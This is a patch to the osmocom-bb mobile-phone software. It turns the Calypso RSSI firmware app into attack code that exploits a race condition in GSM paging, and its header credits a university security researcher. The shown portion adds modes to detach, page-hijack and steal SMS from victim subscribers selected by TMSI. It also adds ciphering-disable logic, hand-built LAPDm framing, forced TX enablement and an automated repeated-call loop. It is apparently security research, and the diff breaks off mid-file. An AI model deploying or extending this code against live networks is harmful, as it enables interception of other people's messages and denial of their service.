File fwp.patch of Package osmocom-bb-fwp

diff --git a/src/Makefile b/src/Makefile
index cda880f..523b4fb 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -47,7 +47,7 @@ shared/libosmocore/build-target/Makefile: shared/libosmocore/configure shared/li
 			--host=$(CROSS_HOST) --enable-embedded --disable-shared \
 			--disable-tests ac_cv_header_sys_select_h=no \
 			--disable-tests ac_cv_header_sys_socket_h=no \
-		CFLAGS="-Os -ffunction-sections -I$(TOPDIR)/target/firmware/include -nostartfiles -nodefaultlibs"
+		CFLAGS="-O3 -ffunction-sections -I$(TOPDIR)/target/firmware/include -nostartfiles -nodefaultlibs"
 
 shared/libosmocore/build-target/src/.libs/libosmocore.a: shared/libosmocore/build-target/Makefile
 	cd shared/libosmocore/build-target && make
--- a/src/host/layer23/src/misc/cell_log.c
+++ b/src/host/layer23/src/misc/cell_log.c
@@ -185,10 +185,13 @@ static void log_sysinfo(void)
 	if (log_si.ta != 0xff)
 		sprintf(ta_str, " TA=%d", log_si.ta);
 
-	LOGP(DSUM, LOGL_INFO, "Cell: ARFCN=%d MCC=%s MNC=%s (%s, %s)%s\n",
-		arfcn, gsm_print_mcc(s->mcc), gsm_print_mnc(s->mnc),
+	LOGP(DSUM, LOGL_INFO, "Cell: ARFCN=%d LAC=%04x MCC=%s MNC=%s (%s, %s)%s\n",
+		arfcn, s->si3 ? s->lac : 0, gsm_print_mcc(s->mcc), gsm_print_mnc(s->mnc),
 		gsm_get_mcc(s->mcc), gsm_get_mnc(s->mcc, s->mnc), ta_str);
 
+	LOGFILE("Cell: ARFCN=%d LAC=%04x MCC=%s MNC=%s (%s, %s)%s\n",
+		arfcn, s->si3 ? s->lac : 0, gsm_print_mcc(s->mcc), gsm_print_mnc(s->mnc),
+		gsm_get_mcc(s->mcc), gsm_get_mnc(s->mcc, s->mnc), ta_str);
 	LOGFILE("[sysinfo]\n");
 	LOGFILE("arfcn %d\n", s->arfcn);
 	log_time();
diff --git a/src/host/layer23/src/mobile/gsm48_cc.c b/src/host/layer23/src/mobile/gsm48_cc.c
index 38dfab0..4adf18a 100644
--- a/src/host/layer23/src/mobile/gsm48_cc.c
+++ b/src/host/layer23/src/mobile/gsm48_cc.c
@@ -47,6 +47,10 @@ int mncc_release_ind(struct osmocom_ms *ms, struct gsm_trans *trans,
 static int gsm48_cc_tx_disconnect(struct gsm_trans *trans, void *arg);
 static int gsm48_cc_tx_connect_ack(struct gsm_trans *trans, void *arg);
 
+extern struct osmo_timer_list tick_timer_hangup;
+extern struct osmo_timer_list tick_timer_call;
+extern int calls;
+
 /*
  * init
  */
@@ -2167,8 +2171,10 @@ int gsm48_rcv_cc(struct osmocom_ms *ms, struct msgb *msg)
 		break;
 	case GSM48_MMCC_EST_CNF:
 		/* send setup after confirm */
-		if (trans->cc.state == GSM_CSTATE_MM_CONNECTION_PEND)
+		if (trans->cc.state == GSM_CSTATE_MM_CONNECTION_PEND){
 			rc = gsm48_cc_tx_setup(trans);
+			osmo_timer_schedule(&tick_timer_hangup, 3, 700000);
+		}
 		else
 			LOGP(DCC, LOGL_ERROR, "Oops, MMCC-EST-CONF in state "
 				"%d?\n", trans->cc.state);
diff --git a/src/host/layer23/src/mobile/gsm48_mm.c b/src/host/layer23/src/mobile/gsm48_mm.c
index a8f699d..d9f719c 100644
--- a/src/host/layer23/src/mobile/gsm48_mm.c
+++ b/src/host/layer23/src/mobile/gsm48_mm.c
@@ -43,6 +43,10 @@
 
 extern void *l23_ctx;
 
+extern int calls;
+extern struct osmo_timer_list tick_timer_call;
+extern struct osmo_timer_list tick_timer_hangup;
+
 void mm_conn_free(struct gsm48_mm_conn *conn);
 static int gsm48_rcv_rr(struct osmocom_ms *ms, struct msgb *msg);
 static int gsm48_rcv_mmr(struct osmocom_ms *ms, struct msgb *msg);
@@ -932,6 +936,8 @@ static void new_mm_state(struct gsm48_mmlayer *mm, int state, int substate)
 			vty_notify(ms, "On Network, normal service: %s, %s\n",
 				gsm_get_mcc(plmn->mcc),
 				gsm_get_mnc(plmn->mcc, plmn->mnc));
+				if(calls != 0)
+					osmo_timer_schedule(&tick_timer_call, 0, 5000);
 			break;
 		case GSM48_MM_SST_LIMITED_SERVICE:
 			vty_notify(ms, NULL);
@@ -1451,7 +1457,7 @@ void mm_conn_free(struct gsm48_mm_conn *conn)
 }
 
 /* support function to release pending/all ongoing MM connections */
-static int gsm48_mm_release_mm_conn(struct osmocom_ms *ms, int abort_any,
+int gsm48_mm_release_mm_conn(struct osmocom_ms *ms, int abort_any,
 				    uint8_t cause, int error, uint8_t sapi)
 {
 	struct gsm48_mmlayer *mm = &ms->mmlayer;
diff --git a/src/host/layer23/src/mobile/mnccms.c b/src/host/layer23/src/mobile/mnccms.c
index 9fdc45f..58a3afa 100644
--- a/src/host/layer23/src/mobile/mnccms.c
+++ b/src/host/layer23/src/mobile/mnccms.c
@@ -41,6 +41,10 @@ static int dtmf_statemachine(struct gsm_call *call, struct gsm_mncc *mncc);
 static void timeout_dtmf(void *arg);
 int mncc_answer(struct osmocom_ms *ms);
 
+extern struct osmo_timer_list tick_timer_hangup;
+extern struct osmo_timer_list tick_timer_call;
+extern int calls;
+
 /*
  * support functions
  */
@@ -366,15 +370,16 @@ int mncc_recv_mobile(struct osmocom_ms *ms, int msg_type, void *arg)
 		vty_notify(ms, NULL);
 		if (data->cause.value == GSM48_CC_CAUSE_CALL_REJECTED)
 			vty_notify(ms, "Call has been rejected\n");
-		else
-			vty_notify(ms, "Call has been released\n");
+		else {
+			vty_notify(ms, "Call %d has been released\n", calls);
+		}
 		LOGP(DMNCC, LOGL_INFO, "Call has been released (cause %d)\n",
 			data->cause.value);
 		free_call(call);
 		break;
 	case MNCC_CALL_PROC_IND:
 		vty_notify(ms, NULL);
-		vty_notify(ms, "Call is proceeding\n");
+		vty_notify(ms, "Call %d is proceeding\n", calls);
 		LOGP(DMNCC, LOGL_INFO, "Call is proceeding\n");
 		if ((data->fields & MNCC_F_BEARER_CAP)
 		 && data->bearer_cap.speech_ver[0] >= 0) {
diff --git a/src/host/layer23/src/mobile/vty_interface.c b/src/host/layer23/src/mobile/vty_interface.c
index dc9e09d..bd58100 100644
--- a/src/host/layer23/src/mobile/vty_interface.c
+++ b/src/host/layer23/src/mobile/vty_interface.c
@@ -49,10 +49,18 @@ int mncc_answer(struct osmocom_ms *ms);
 int mncc_hold(struct osmocom_ms *ms);
 int mncc_retrieve(struct osmocom_ms *ms, int number);
 int mncc_dtmf(struct osmocom_ms *ms, char *dtmf);
+void vty_notify(struct osmocom_ms *ms, const char *fmt, ...);
 
 extern struct llist_head ms_list;
 extern struct llist_head active_connections;
 
+struct osmo_timer_list tick_timer_hangup;
+struct osmo_timer_list tick_timer_call;
+unsigned int timer_step = 0;
+static char *call_nr;
+int calls = 0;
+static struct vty *call_vty;
+
 struct cmd_node ms_node = {
 	MS_NODE,
 	"%s(ms)#",
@@ -753,6 +761,26 @@ DEFUN(network_select, network_select_cmd,
 	return CMD_SUCCESS;
 }
 
+void call_tmsi(void *data){
+	struct osmocom_ms *ms;
+	ms = get_ms("1", call_vty);
+
+	if(calls == 0){
+		return;
+	}
+	vty_notify(ms, "new call");
+	mncc_call(ms, call_nr);
+	calls++;
+}
+
+void call_hangup(void *data){
+	struct osmocom_ms *ms;
+
+	ms = get_ms("1", call_vty);
+	vty_notify(ms, "hangup call");
+	gsm48_mm_release_mm_conn(ms, 1, 16, 0, 0);
+}
+
 DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
 	"Make a call\nName of MS (see \"show ms\")\nPhone number to call "
 	"(Use digits '0123456789*#abc', and '+' to dial international)\n"
@@ -764,6 +792,8 @@ DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
 	struct gsm_settings_abbrev *abbrev;
 	char *number;
 
+	calls = 0;
+
 	ms = get_ms(argv[0], vty);
 	if (!ms)
 		return CMD_WARNING;
@@ -776,12 +806,17 @@ DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
 	}
 
 	number = (char *)argv[1];
+
 	if (!strcmp(number, "emergency"))
 		mncc_call(ms, number);
 	else if (!strcmp(number, "answer"))
 		mncc_answer(ms);
 	else if (!strcmp(number, "hangup"))
 		mncc_hangup(ms);
+	else if (!strcmp(number, "kill")){
+		calls = 0;
+		mncc_hangup(ms);
+	}
 	else if (!strcmp(number, "hold"))
 		mncc_hold(ms);
 	else {
@@ -795,7 +830,17 @@ DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
 		}
 		if (vty_check_number(vty, number))
 			return CMD_WARNING;
+
+		if(calls == 0){
+			tick_timer_hangup.cb = &call_hangup;
+			tick_timer_hangup.data = &timer_step;
+			tick_timer_call.cb = &call_tmsi;
+			tick_timer_call.data = &timer_step;
+			call_nr = strdup(number);
+			call_vty = vty;
+		}
 		mncc_call(ms, number);
+		calls++;
 	}
 
 	return CMD_SUCCESS;
diff --git a/src/host/osmocon/osmocon.c b/src/host/osmocon/osmocon.c
index 66f2462..0268086 100644
--- a/src/host/osmocon/osmocon.c
+++ b/src/host/osmocon/osmocon.c
@@ -44,6 +44,7 @@
 #include <osmocom/core/serial.h>
 #include <osmocom/core/talloc.h>
 #include <osmocom/core/timer.h>
+#include <time.h>
 
 #include <arpa/inet.h>
 
@@ -160,6 +161,7 @@ struct dnload {
 	int block_count;
 	int echo_bytecount;
 
+	struct tool_server tmsi_server;
 	struct tool_server layer2_server;
 	struct tool_server loader_server;
 };
@@ -717,6 +719,18 @@ static void hdlc_send_to_phone(uint8_t dlci, uint8_t *data, int len)
 
 static void hdlc_console_cb(uint8_t dlci, struct msgb *msg)
 {
+	char buf[40];
+	struct timeval tv;
+	struct tm *ptm;
+	long ms;
+
+	gettimeofday(&tv, NULL);
+	ptm = localtime(&tv.tv_sec);
+	strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S", ptm);
+
+	ms = tv.tv_usec / 1000;
+	printf("%s.%03ld: ", buf, ms);
+	fflush(stdout);
 	write(1, msg->data, msg->len);
 	msgb_free(msg);
 }
@@ -1192,6 +1206,7 @@ static int parse_mode(const char *arg)
 	"[ -v | -h ] [ -d [t][r] ] [ -p /dev/ttyXXXX ]\n" \
 	"\t\t [ -s /tmp/osmocom_l2 ]\n" \
 	"\t\t [ -l /tmp/osmocom_loader ]\n" \
+	"\t\t [ -t /tmp/osmocom_mi ]\n" \
 	"\t\t [ -m {c123,c123xor,c140,c140xor,c155,romload,mtk} ]\n" \
 	"\t\t [ -c /to-be-chainloaded-file.bin ]\n" \
 	"\t\t [ -i beacon-interval (mS) ]\n" \
@@ -1400,6 +1415,7 @@ int main(int argc, char **argv)
 	uint32_t tmp_load_address = ROMLOAD_ADDRESS;
 	const char *serial_dev = "/dev/ttyUSB1";
 	const char *layer2_un_path = "/tmp/osmocom_l2";
+	const char *tmsi_un_path = "/tmp/osmocom_mi";
 	const char *loader_un_path = "/tmp/osmocom_loader";
 
 	dnload.mode = MODE_C123;
@@ -1407,7 +1423,7 @@ int main(int argc, char **argv)
 	dnload.previous_filename = NULL;
 	dnload.beacon_interval = DEFAULT_BEACON_INTERVAL;
 
-	while ((opt = getopt(argc, argv, "d:hl:p:m:c:s:i:v")) != -1) {
+	while ((opt = getopt(argc, argv, "d:hl:p:m:c:s:t:i:v")) != -1) {
 		switch (opt) {
 		case 'p':
 			serial_dev = optarg;
@@ -1417,6 +1433,9 @@ int main(int argc, char **argv)
 			if (dnload.mode == MODE_INVALID)
 				usage(argv[0]);
 			break;
+		case 't':
+			tmsi_un_path = optarg;
+			break;
 		case 's':
 			layer2_un_path = optarg;
 			break;
@@ -1477,6 +1496,10 @@ int main(int argc, char **argv)
 				 SC_DLCI_L1A_L23) != 0)
 		exit(1);
 
+	if (register_tool_server(&dnload.tmsi_server, tmsi_un_path,
+				 SC_DLCI_TMSI) != 0)
+		exit(1);
+
 	if (register_tool_server(&dnload.loader_server, loader_un_path,
 				 SC_DLCI_LOADER) != 0)
 		exit(1);
diff --git a/src/shared/libosmocore/src/gsm/gsm_utils.c b/src/shared/libosmocore/src/gsm/gsm_utils.c
index 8d072a1..06a2be6 100644
--- a/src/shared/libosmocore/src/gsm/gsm_utils.c
+++ b/src/shared/libosmocore/src/gsm/gsm_utils.c
@@ -128,7 +128,7 @@ int gsm_7bit_decode_hdr(char *text, const uint8_t *user_data, uint8_t septet_l,
 	int i = 0;
 	int shift = 0;
 
-	uint8_t *rtext = calloc(septet_l, sizeof(uint8_t));
+	uint8_t rtext[160];
 	uint8_t tmp;
 
 	/* skip the user data header */
@@ -163,7 +163,6 @@ int gsm_7bit_decode_hdr(char *text, const uint8_t *user_data, uint8_t septet_l,
 	if (ud_hdr_ind)
 		i += shift;
 	*text = '\0';
-	free(rtext);
 
 	return i;
 }
diff --git a/src/target/firmware/Makefile b/src/target/firmware/Makefile
index a71eef6..c3d569c 100644
--- a/src/target/firmware/Makefile
+++ b/src/target/firmware/Makefile
@@ -99,7 +99,7 @@ ANY_APP_LIBS+=calypso/libcalypso.a layer1/liblayer1.a lib/libmini.a comm/libcomm
 -include Makefile.inc
 
 # Uncomment this line if you want to enable Tx (Transmit) Support.
-#CFLAGS += -DCONFIG_TX_ENABLE
+CFLAGS += -DCONFIG_TX_ENABLE
 
 # Uncomment this line if you want to write to flash.
 #CFLAGS += -DCONFIG_FLASH_WRITE
diff --git a/src/target/firmware/apps/rssi/main.c b/src/target/firmware/apps/rssi/main.c
index 7d10e1c..de869b9 100644
--- a/src/target/firmware/apps/rssi/main.c
+++ b/src/target/firmware/apps/rssi/main.c
@@ -1,6 +1,7 @@
-/* Cell Monitor of Free Software for Calypso Phone */
-
-/* (C) 2012 by Andreas Eversberg <jolly@eversberg.eu>
+/* (C) 2012 by Andreas Eversberg <jolly@eversberg.eu> (original RSSI code)
+ * (C) 2012-2013 by Nico Golde <nico@sec.t-labs.tu-berlin.de>
+ * demo code for attacks exploiting the race condition in GSM paging
+ * originally based on rssi application by Andreas Eversberg
  *
  * All Rights Reserved
  *
@@ -22,6 +23,7 @@
 
 #include <stdint.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <string.h>
 #include <errno.h>
 
@@ -38,9 +40,9 @@
 #include <calypso/tpu.h>
 #include <calypso/tsp.h>
 #include <calypso/dsp.h>
+#include <battery/battery.h>
 #include <calypso/irq.h>
 #include <calypso/misc.h>
-#include <calypso/buzzer.h>
 #include <comm/sercomm.h>
 #include <comm/timer.h>
 #include <fb/framebuffer.h>
@@ -49,15 +51,25 @@
 #include <layer1/l23_api.h>
 #include <osmocom/gsm/rsl.h>
 #include <osmocom/gsm/protocol/gsm_04_08.h>
+#include <osmocom/gsm/protocol/gsm_04_11.h>
 #include <osmocom/gsm/gsm48_ie.h>
-#include <battery/battery.h>
+#include <osmocom/gsm/gsm48.h>
+
 
+/*
+#define printf(x, ...) 0
+*/
 enum key_codes key_code = KEY_INV;
 int key_pressed = 0;
 enum key_codes key_pressed_code;
 unsigned long key_pressed_when;
 unsigned int key_pressed_delay;
 
+
+#define GSM_CIPHER_A5_1         1
+#define GSM_CIPHER_A5_2         2
+#define GSM_CIPHER_A5_3         3
+
 enum mode {
 	MODE_MAIN,
 	MODE_SPECTRUM,
@@ -67,7 +79,23 @@ enum mode {
 } mode = MODE_MAIN;
 enum mode last_mode; /* where to return after entering ARFCN */
 
-static uint16_t arfcn = 0, ul_arfcn;
+enum attack_mode {
+	MODE_DETACH,
+	MODE_PAGING,
+	MODE_RANGE_PAGING,
+	MODE_ALL_PAGING,
+	MODE_STEAL_SMS,
+	MODE_NONE
+} attack_mode = MODE_NONE;
+
+enum cipher_mode {
+	CIPHER_NONE,
+	CIPHER_ACTIVE
+} cipher_mode = CIPHER_NONE;
+
+uint8_t key_seq = 0;
+
+static uint16_t arfcn = 549, ul_arfcn;
 int pcs = 0;
 int uplink = 0;
 int max = 0;
@@ -75,6 +103,8 @@ uint8_t power, max_power;
 char input[5];
 int cursor;
 
+
+uint8_t timing_advance;
 char *sync_result = NULL;
 char *sync_msg = "";
 
@@ -89,6 +119,12 @@ static struct band {
 
 struct band *band;
 
+uint8_t victim_tmsi[] = "\xff\xff\xff\xff";
+uint8_t kc[] = "\xff\xff\xff\xff\xff\xff\xff\xff";
+int tmsi_range_min = -1;
+int tmsi_range_max = -1;
+int foo=0;
+
 #define PCS_MIN 512
 #define PCS_MAX 810
 #define DCS_MIN 512
@@ -96,6 +132,16 @@ struct band *band;
 #define PCS_UL 18502
 #define PCS_DL 19302
 
+#define L3_ALLOC_SIZE 256
+#define L3_ALLOC_HEADROOM 64
+
+enum sms_mode {
+	SMS_CP_DATA,
+	SMS_CP_ACK,
+	SMS_RP_ACK,
+	SMS_NONE
+};
+
 enum pm_mode {
 	PM_IDLE,
 	PM_SENT,
@@ -112,10 +158,6 @@ int pm_max = 2;
 uint8_t pm_spectrum[1024];
 int pm_scale = 1; /* scale measured power level */
 
-#define TONE_JIFFIES ((HZ < 25) ? 1 : HZ / 25)
-int tone = 0;
-unsigned long tone_time;
-int tone_on = 0;
 
 uint8_t bsic;
 uint8_t ul_levels[8], ul_max[8]; /* 8 uplink levels */
@@ -127,7 +169,7 @@ uint8_t si_3[23];
 uint8_t si_4[23];
 uint16_t si_new = 0, ul_new;
 uint16_t mcc, mnc, lac, cell_id;
-int ccch_conf;
+int ccch_conf = -1;
 int nb_num;
 struct gsm_sysinfo_freq freq[1024];
 #define NEIGH_LINES	((framebuffer->height - 25) / 8)
@@ -138,12 +180,89 @@ struct gsm_sysinfo_freq freq[1024];
 #define FREQ_TYPE_NCELL_2bis	0x08 /* sub channel of SI 2bis */
 #define FREQ_TYPE_NCELL_2ter	0x10 /* sub channel of SI 2ter */
 
+#define LAPDm_ADDR(lpd, sapi, cr) ((((lpd) & 0x3) << 5) | (((sapi) & 0x7) << 2) | (((cr) & 0x1) << 1) | 0x1)
+#define LAPDm_CTRL_U(u, p)  ((((u) & 0x1c) << (5-2)) | (((p) & 0x1) << 4) | (((u) & 0x3) << 2) | 0x3)
+#define LAPDm_LEN(len)      ((len << 2) | 0x1)
+#define LAPDm_CTRL_S(nr, s, p)       ((((nr) & 0x7) << 5) | (((p) & 0x1) << 4) | (((s) & 0x3) << 2) | 0x1)
+#define LAPDm_CTRL_I(nr, ns, p)      ((((nr) & 0x7) << 5) | (((p) & 0x1) << 4) | (((ns) & 0x7) << 1))
+
+#define LAPDm_CTRL_is_I(ctrl)   (((ctrl) & 0x1) == 0)
+#define LAPDm_CTRL_is_S(ctrl)   (((ctrl) & 0x3) == 1)
+#define LAPDm_CTRL_is_U(ctrl)   (((ctrl) & 0x3) == 3)
+
+#define LAPDm_CTRL_U_BITS(ctrl) ((((ctrl) & 0xC) >> 2) | ((ctrl) & 0xE0) >> 3)
+#define LAPDm_CTRL_PF_BIT(ctrl) (((ctrl) >> 4) & 0x1)
+
+#define LAPDm_CTRL_S_BITS(ctrl) (((ctrl) & 0xC) >> 2)
+
+#define LAPDm_CTRL_I_Ns(ctrl)   (((ctrl) & 0xE) >> 1)
+#define LAPDm_CTRL_Nr(ctrl)     (((ctrl) & 0xE0) >> 5)
+
+#define LAPDm_ADDR_SAPI(addr) (((addr) >> 2) & 0x7)
+#define LAPDm_ADDR_CR(addr) (((addr) >> 1) & 0x1)
+#define LAPDm_ADDR_EA(addr) ((addr) & 0x1)
+
+
+/* TS 04.06 Table 4 / Section 3.8.1 */
+#define LAPDm_U_SABM    0x7
+#define LAPDm_U_DM      0x3
+#define LAPDm_U_UI      0x0
+#define LAPDm_U_DISC    0x8
+#define LAPDm_U_UA      0xC
+
+#define LAPDm_S_RR      0x0
+#define LAPDm_S_RNR     0x1
+#define LAPDm_S_REJ     0x2
+
+#define LAPD_S_RR       0x0
+#define LAPD_S_RNR      0x1
+#define LAPD_S_REJ      0x2
+
+#define LAPDm_LPD_NORMAL  0
+
+#define CR_MS2BS_CMD      0
+#define CR_MS2BS_RESP     1
+
+#define LAPD_U_SABM     0x7
+#define LAPD_U_SABME    0xf
+#define LAPD_U_DM       0x3
+#define LAPD_U_UI       0x0
+#define LAPD_U_DISC     0x8
+#define LAPD_U_UA       0xC
+#define LAPD_U_FRMR     0x11
+
+#define LAPDm_SAPI_0 0x0
+#define LAPDm_SAPI_3 0x3
+
+struct _lapd_state {
+	uint8_t v_recv;
+	uint8_t v_send;
+	uint8_t v_ack;
+	uint8_t sapi;
+	uint8_t active;
+	uint8_t ui_count;
+	uint8_t ciph_count;
+} lapd_state; 
+
+struct _sms_state {
+	uint8_t cp_user_length;
+	uint8_t rp_data_length;
+	uint8_t sms_mode;
+	int skip;
+	char text[256];
+} sms_state;
+
+
 int rach = 0;
 struct gsm48_req_ref rach_ref;
 uint8_t rach_ra;
 unsigned long rach_when;
+unsigned long last_net_frame;
 uint8_t ta;
 
+uint8_t v_r;
+uint8_t v_a;
+
 enum assign {
 	ASSIGN_NONE,
 	ASSIGN_NO_TX,
@@ -152,7 +271,10 @@ enum assign {
 	ASSIGN_TIMEOUT,
 } assign;
 
+struct llist_head mi_queue;
+
 /* UI */
+static int tmsi_match(uint8_t *mi, uint8_t *tmsi);
 
 static void print_display(char *text, int *y, int c)
 {
@@ -168,10 +290,40 @@ static void print_display(char *text, int *y, int c)
 	fb_putstr(text, framebuffer->width);
 }
 
+static void init_lapdm(void){
+	memset(&lapd_state, 0, sizeof(lapd_state));
+	memset(&sms_state, 0, sizeof(sms_state));
+	sms_state.skip = -1;
+	lapd_state.active = 1;
+}
+
+static inline uint8_t inc_mod(uint8_t x, uint8_t m){
+	return (x + 1) & (m - 1);
+}
+
+static void enter_sync(void);
+static void exit_sync(void);
+static void disable_ciphering(void);
+static void toggle_dcs_pcs(void);
+
+static void reenter_sync(void){
+	if(attack_mode == MODE_STEAL_SMS){
+		disable_ciphering();
+	}
+	exit_sync();
+	/* why do we need this, what is the problem if we dont switch the arfcn? */
+	toggle_dcs_pcs();
+	enter_sync();
+}
+
+static void update_net_frame(void){
+	last_net_frame = jiffies;
+}
+
 static void refresh_display(void)
 {
 	char text[16];
-	int bat = battery_info.battery_percent;
+	int bat = 100;
 
 	fb_clear();
 
@@ -181,12 +333,23 @@ static void refresh_display(void)
 		fb_setfg(FB_COLOR_BLUE);
 		fb_setfont(FB_FONT_HELVR08);
 		fb_gotoxy(0, 7);
-		fb_putstr("Osmocom RSSI", -1);
+		if(attack_mode == MODE_DETACH){
+			fb_putstr(" [D]PAGFuN", -1);
+		} else if (attack_mode == MODE_STEAL_SMS) {
+			fb_putstr(" [SM]PAGFuN", -1);
+		} else if (attack_mode == MODE_PAGING) {
+			fb_putstr(" [P]PAGFuN", -1);
+		} else if (attack_mode == MODE_RANGE_PAGING) {
+			fb_putstr(" [RP]PAGFuN", -1);
+		} else if (attack_mode == MODE_ALL_PAGING) {
+			fb_putstr(" [AP]PAGFuN", -1);
+		} else {
+			fb_putstr(" [N]PAGFuN", -1);
+		}
 		fb_setfg(FB_COLOR_RGB(0xc0, 0xc0, 0x00));
 		fb_setfont(FB_FONT_SYMBOLS);
 		fb_gotoxy(framebuffer->width - 15, 8);
-		if (bat >= 100 && (battery_info.flags & BATTERY_CHG_ENABLED)
-		 && !(battery_info.flags & BATTERY_CHARGING))
+		if (bat >= 100)
 			fb_putstr("@HHBC", framebuffer->width);
 		else {
 			sprintf(text, "@%c%c%cC", (bat >= 30) ? 'B':'A',
@@ -294,46 +457,50 @@ static void refresh_display(void)
 	/* SYNC / SI */
 	if (mode == MODE_SYNC && cursor == 0) {
 		fb_gotoxy(0, 20);
-		if (sync_msg[0] == 'o')
-			sprintf(text, "BSIC%d/%d %4d", bsic >> 3, bsic & 7,
-				power - 110);
-		else
-			sprintf(text, "Sync %s", sync_msg);
-		fb_putstr(text, -1);
-
-		fb_gotoxy(0,28);
-		text[0] = si_1[2] ? '1' : '-';
-		text[1] = ' ';
-		text[2] = si_2[2] ? '2' : '-';
-		text[3] = ' ';
-		text[4] = si_2bis[2] ? '2' : '-';
-		text[5] = si_2bis[2] ? 'b' : ' ';
-		text[6] = si_2ter[2] ? '2' : '-';
-		text[7] = si_2ter[2] ? 't' : ' ';
-		text[8] = ' ';
-		text[9] = si_3[2] ? '3' : '-';
-		text[10] = ' ';
-		text[11] = si_4[2] ? '4' : '-';
-		text[12] = '\0';
-		fb_putstr(text, -1);
-
-		fb_gotoxy(0, 36);
-		fb_putstr("MCC MNC LAC ", -1);
-		fb_gotoxy(0, 44);
-		if (mcc) {
-			if ((mnc & 0x00f) == 0x00f)
-				sprintf(text, "%3x %02x  %04x", mcc, mnc >> 4, lac);
+		if(sms_state.text[0] != 0){
+			fb_putstr(sms_state.text, -1);
+		} else {
+			if (sync_msg[0] == 'o')
+				sprintf(text, "BSIC%d/%d %4d", bsic >> 3, bsic & 7,
+					power - 110);
 			else
-				sprintf(text, "%3x %03x %04x", mcc, mnc, lac);
+				sprintf(text, "Sync %s", sync_msg);
 			fb_putstr(text, -1);
-		} else
-			fb_putstr("--- --- ----", -1);
-		fb_gotoxy(0, 52);
-		if (si_3[2]) {
-			sprintf(text, "cell id:%04x", cell_id);
+
+			fb_gotoxy(0,28);
+			text[0] = si_1[2] ? '1' : '-';
+			text[1] = ' ';
+			text[2] = si_2[2] ? '2' : '-';
+			text[3] = ' ';
+			text[4] = si_2bis[2] ? '2' : '-';
+			text[5] = si_2bis[2] ? 'b' : ' ';
+			text[6] = si_2ter[2] ? '2' : '-';
+			text[7] = si_2ter[2] ? 't' : ' ';
+			text[8] = ' ';
+			text[9] = si_3[2] ? '3' : '-';
+			text[10] = ' ';
+			text[11] = si_4[2] ? '4' : '-';
+			text[12] = '\0';
 			fb_putstr(text, -1);
-		} else
-			fb_putstr("cell id:----", -1);
+
+			fb_gotoxy(0, 36);
+			fb_putstr("MCC MNC LAC ", -1);
+			fb_gotoxy(0, 44);
+			if (mcc) {
+				if ((mnc & 0x00f) == 0x00f)
+					sprintf(text, "%3x %02x  %04x", mcc, mnc >> 4, lac);
+				else
+					sprintf(text, "%3x %03x %04x", mcc, mnc, lac);
+				fb_putstr(text, -1);
+			} else
+				fb_putstr("--- --- ----", -1);
+			fb_gotoxy(0, 52);
+			if (si_3[2]) {
+				sprintf(text, "cell id:%04x", cell_id);
+				fb_putstr(text, -1);
+			} else
+				fb_putstr("cell id:----", -1);
+		}
 	}
 
 	/* SYNC / neighbour cells */
@@ -434,66 +601,6 @@ static void refresh_display(void)
 		fb_setbg(FB_COLOR_WHITE);
 	}
 
-	/* spectrum */
-	if (mode == MODE_SPECTRUM) {
-		int i;
-		uint16_t a, e, p;
-		int height = framebuffer->height - 25;
-
-		fb_gotoxy(0, 8);
-		if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX)
-			sprintf(text, "%4dP", arfcn);
-		else if (arfcn >= DCS_MIN && arfcn <= DCS_MAX)
-			sprintf(text, "%4dD", arfcn);
-		else
-			sprintf(text, "%4d ", arfcn);
-		sprintf(text + 5, "   %4d", pm_spectrum[arfcn & 1023] - 110);
-		fb_putstr(text, -1);
-		fb_setfg(FB_COLOR_RED);
-		if (max) {
-			fb_setfont(FB_FONT_HELVR08);
-			fb_gotoxy(framebuffer->width - 16,15);
-			fb_putstr("max", framebuffer->width);
-			fb_setfont(FB_FONT_C64);
-		}
-		if (pm_scale != 1) {
-			fb_setfont(FB_FONT_HELVR08);
-			fb_gotoxy(1, 15);
-			sprintf(text, "x%d", pm_scale);
-			fb_putstr(text, framebuffer->width);
-			fb_setfont(FB_FONT_C64);
-		}
-		fb_setfg(FB_COLOR_BLACK);
-		if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX) {
-			a = PCS_MIN;
-			e = PCS_MAX;
-		} else {
-			a = band->min;
-			e = band->max;
-		}
-		for (i = 0; i < framebuffer->width; i++) {
-			p = (arfcn + i - (framebuffer->width >> 1)) & 1023;
-			if ((((p - a) & 1023) & 512))
-				continue;
-			if ((((e - p) & 1023) & 512))
-				continue;
-			p = (pm_spectrum[p] * pm_scale * height / 64);
-			if (p > height)
-				p = height;
-			if (i == (framebuffer->width >> 1))
-				fb_setfg(FB_COLOR_RED);
-			fb_gotoxy(i, height + 10 - p);
-			fb_boxto(i, height + 10);
-			if (i == (framebuffer->width >> 1))
-				fb_setfg(FB_COLOR_BLACK);
-		}
-		i = framebuffer->width >> 1;
-		fb_gotoxy(i, 0);
-		fb_boxto(i, 4);
-		fb_gotoxy(i, height + 10);
-		fb_boxto(i, height + 14);
-	}
-
 	/* footer */
 	fb_setfg(FB_COLOR_GREEN);
 	fb_gotoxy(0, framebuffer->height - 10);
@@ -515,8 +622,7 @@ static void refresh_display(void)
 	fb_setfg(FB_COLOR_BLACK);
 	fb_setfont(FB_FONT_HELVR08);
 	fb_gotoxy(0, framebuffer->height - 2);
-	sprintf(text, "%d", tone / 25);
-	fb_putstr(text, -1);
+	/*fb_putstr(text, -1);*/
 
 	fb_flush();
 }
@@ -650,6 +756,16 @@ static int inc_dec_arfcn(int inc)
 
 static void request_ul_levels(uint16_t a);
 
+static void toggle_up_down(void)
+{
+	uplink = !uplink;
+	refresh_display();
+
+	if (mode == MODE_SYNC && cursor < 0)
+		request_ul_levels(ul_arfcn);
+}
+
+
 static int inc_dec_ul_arfcn(int inc)
 {
 	uint16_t a;
@@ -677,53 +793,54 @@ static int inc_dec_ul_arfcn(int inc)
 	return 0;
 }
 
-static void toggle_dcs_pcs(void)
-{
-	pcs = !pcs;
-	refresh_display();
-}
-
-static void toggle_up_down(void)
-{
-	uplink = !uplink;
-	refresh_display();
-
-	if (mode == MODE_SYNC && cursor < 0)
